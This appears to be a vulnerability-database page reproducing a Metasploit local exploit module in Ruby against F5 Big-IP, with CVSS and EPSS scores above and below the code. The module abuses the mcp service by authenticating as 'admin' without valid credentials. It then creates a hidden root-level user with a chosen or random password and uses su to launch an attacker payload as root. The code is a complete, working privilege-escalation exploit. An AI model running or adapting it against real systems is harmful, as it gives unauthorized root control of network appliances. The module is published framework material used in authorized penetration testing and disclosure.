8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.8 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.422 Medium
EPSS
Percentile
97.3%
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'unix_crypt'
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux::F5Mcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 Big-IP Create Admin User',
'Description' => %q{
This creates a local user with a username/password and root-level
privileges. Note that a root-level account is not required to do this,
which makes it a privilege escalation issue.
Note that this is pretty noisy, since it creates a user account and
creates log files and such. Additionally, most (if not all)
vulnerabilities in F5 grant root access anyways.
Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-privesc.rb
},
'License' => MSF_LICENSE,
'Author' => ['Ron Bowes'],
'Platform' => [ 'unix', 'linux', 'python' ],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
],
'Privileged' => true,
'DisclosureDate' => '2022-11-16',
'Arch' => [ ARCH_CMD, ARCH_PYTHON ],
'Type' => :unix_cmd,
'Targets' => [[ 'Auto', {} ]],
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options([
OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),
OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),
OptBool.new('CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),
])
end
def exploit
# Get or generate the username/password
fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?
username = datastore['USERNAME']
if datastore['CREATE_SESSION']
password = Rex::Text.rand_text_alphanumeric(12)
new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")
else
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
print_status("Will attempt to create user #{username} / #{password}")
end
# If the password is already hashed, leave it as-is
vprint_status('Hashing the password with SHA512')
hashed_password = UnixCrypt::SHA512.build(password)
if !hashed_password || hashed_password.empty?
fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')
end
# These requests have to go in a single 'session', which, to us, is
# a single packet (since we don't have AF_UNIX sockets)
result = mcp_send_recv([
# Authenticate as 'admin' (this probably shouldn't work but does)
mcp_build('user_authenticated', 'structure', [
mcp_build('user_authenticated_name', 'string', 'admin')
]),
# Start transaction
mcp_build('start_transaction', 'structure', [
mcp_build('start_transaction_load_type', 'ulong', 0)
]),
# Create the role mapping
mcp_build('create', 'structure', [
mcp_build('user_role_partition', 'structure', [
mcp_build('user_role_partition_user', 'string', username),
mcp_build('user_role_partition_role', 'ulong', 0),
mcp_build('user_role_partition_partition', 'string', '[All]'),
])
]),
# Create the userdb entry
mcp_build('create', 'structure', [
mcp_build('userdb_entry', 'structure', [
mcp_build('userdb_entry_name', 'string', username),
mcp_build('userdb_entry_partition_id', 'string', 'Common'),
mcp_build('userdb_entry_is_system', 'ulong', 0),
mcp_build('userdb_entry_shell', 'string', '/bin/bash'),
mcp_build('userdb_entry_is_crypted', 'ulong', 1),
mcp_build('userdb_entry_passwd', 'string', hashed_password),
])
]),
# Finish the transaction
mcp_build('end_transaction', 'structure', [])
])
# Handle errors
if result.nil?
fail_with(Failure::Unknown, 'Request to mcp appeared to fail')
end
# The only result we really care about is an error
error_returned = false
result.each do |r|
result = mcp_get_single(r, 'result')
result_code = mcp_get_single(result, 'result_code')
# If there's no code or it's zero, just ignore it
if result_code.nil? || result_code == 0
next
end
# If we're here, an error was returned!
error_returned = true
# Otherwise, try and get result_message
result_message = mcp_get_single(result, 'result_message')
if result_message.nil?
print_warning("mcp query returned a non-zero result (#{result_code}), but no error message")
else
print_error("mcp query returned an error message: #{result_message} (code: #{result_code})")
end
end
# Let them know if it likely worked
if !error_returned
print_good("Service didn't return an error, so user was likely created!")
if datastore['CREATE_SESSION']
print_status('Attempting create a root session...')
out = cmd_exec("echo -ne \"#{password}\\n#{password}\\n#{new_password}\\n#{new_password}\\n#{payload.encoded}\\n\" | su #{username}")
vprint_status("Output from su command: #{out}")
end
end
end
end
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.8 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.422 Medium
EPSS
Percentile
97.3%